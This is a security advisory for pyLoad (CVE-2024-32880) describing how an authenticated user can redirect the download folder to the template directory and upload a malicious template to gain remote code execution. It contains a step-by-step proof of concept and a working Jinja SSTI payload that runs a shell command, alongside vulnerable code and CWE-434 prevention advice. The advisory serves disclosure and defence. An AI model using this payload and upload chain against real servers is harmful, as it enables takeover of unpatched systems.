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GHSA-3f7w-p8vr-4v5f CVE-2024-32880 PYSEC-2026-492

pyLoad allows upload to arbitrary folder lead to RCE

High PyPI
Severity
9.1 / 10
High · CVSS 3.1
Exploit chance (EPSS)
1.35%
Chance of exploitation in the next 30 days. Higher than 71.60% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-434 Unrestricted Upload of File with Dangerous Type
Fix
None yet
No fixed version published

Description

Summary

An authenticated user can change the download folder and upload a crafted template to the specified folder lead to remote code execution

Details

example version: 0.5 file:src/pyload/webui/app/blueprints/app_blueprint.py

@bp.route("/render/<path:filename>", endpoint="render")
def render(filename):
    mimetype = mimetypes.guess_type(filename)[0] or "text/html"
    data = render_template(filename)
    return flask.Response(data, mimetype=mimetype)

So, if we can control file in the path "pyload/webui/app/templates" in latest version and path in "module/web/media/js"(the difference is the older version0.4.20 only renders file with extension name ".js"), the render_template func will works like SSTI(server-side template injection) when render the evil file we control.

in /settings page and the choose option general/general, where we can change the download folder. image

Also, we can find the pyLoad install folder in /info page image So, we can change the value of Download folder to the template path. Then through /json/add_package we can upload a crafted template file to RCE.

@bp.route("/json/add_package", methods=["POST"], endpoint="add_package")
# @apiver_check
@login_required("ADD")
def add_package():
    api = flask.current_app.config["PYLOAD_API"]

    package_name = flask.request.form.get("add_name", "New Package").strip()
    queue = int(flask.request.form["add_dest"])
    links = [l.strip() for l in flask.request.form["add_links"].splitlines()]
    pw = flask.request.form.get("add_password", "").strip("\n\r")

    try:
        file = flask.request.files["add_file"]

        if file.filename:
            if not package_name or package_name == "New Package":
                package_name = file.filename

            file_path = os.path.join(
                api.get_config_value("general", "storage_folder"), "tmp_" + file.filename
            )
            file.save(file_path)
            links.insert(0, file_path)

    except Exception:
        pass

    urls = [url for url in links if url.strip()]
    pack = api.add_package(package_name, urls, queue)
    if pw:
        data = {"password": pw}
        api.set_package_data(pack, data)

    return jsonify(True)

PoC

First login into the admin page, then visit the info page to get the path of pyload installation folder. Second, change the download folder to PYLOAD_INSTALL_DIR/ webui/app/templates/ Third, upload crafted template file through /json/add_package through parameter add_file the content of crafted template file and its filename is "341.html":

{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

image Last, visit http://TARGET/render/tmp_341.html to trigger the RCE image image

Impact

It is a RCE vulnerability and I think it affects all versions. In earlier version 0.4.20, the trigger difference is the pyload installation folder path difference and the upload file must with extension ".js" . The render js code in version 0.4.20:

@route("/media/js/<path:re:.+\.js>")
def js_dynamic(path):
    response.headers['Expires'] = time.strftime("%a, %d %b %Y %H:%M:%S GMT",
                                                time.gmtime(time.time() + 60 * 60 * 24 * 2))
    response.headers['Cache-control'] = "public"
    response.headers['Content-Type'] = "text/javascript; charset=UTF-8"

    try:
        # static files are not rendered
        if "static" not in path and "mootools" not in path:
            t = env.get_template("js/%s" % path)
            return t.render()
        else:
            return static_file(path, root=join(PROJECT_DIR, "media", "js"))
    except:
        return HTTPError(404, "Not Found")

Affected versions

PyPI

PackageVulnerableFixed in
pyload-ng
<= 0.5.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 9.1

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-434: Unrestricted Upload of File with Dangerous Type

The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

How to prevent it
  • Architecture and Design: Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Architecture and Design: Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
  • Architecture and Design: Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
  • Implementation: Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
  • Implementation: When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
  • Implementation: Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-68w4-83fh-f2w8
pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password
High Also affects pyload-ng
GHSA-9q47-3cm2-2rp8
pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header
Medium Also affects pyload-ng
GHSA-jq7h-wrvp-3rgx
pyLoad: Privilege revocation and password change through the REST API do not invalidate the user's session
High Also affects pyload-ng
GHSA-889w-m37p-88m5
pyLoad: Api.set_user_permission never invalidates the target's session
High Also affects pyload-ng
GHSA-p3pr-8f3m-4qp8
pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host
Medium Also affects pyload-ng
GHSA-fr26-jjhm-638c
pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)
High Also affects pyload-ng
GHSA-r44w-v6gf-x3p6
pyLoad has an authentication bypass in API key validation (check_apikey cache)
High Also affects pyload-ng
GHSA-j92p-c242-7hfx
pyLoad: Unauthenticated access to /web/<path:filename> bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo
Medium Also affects pyload-ng
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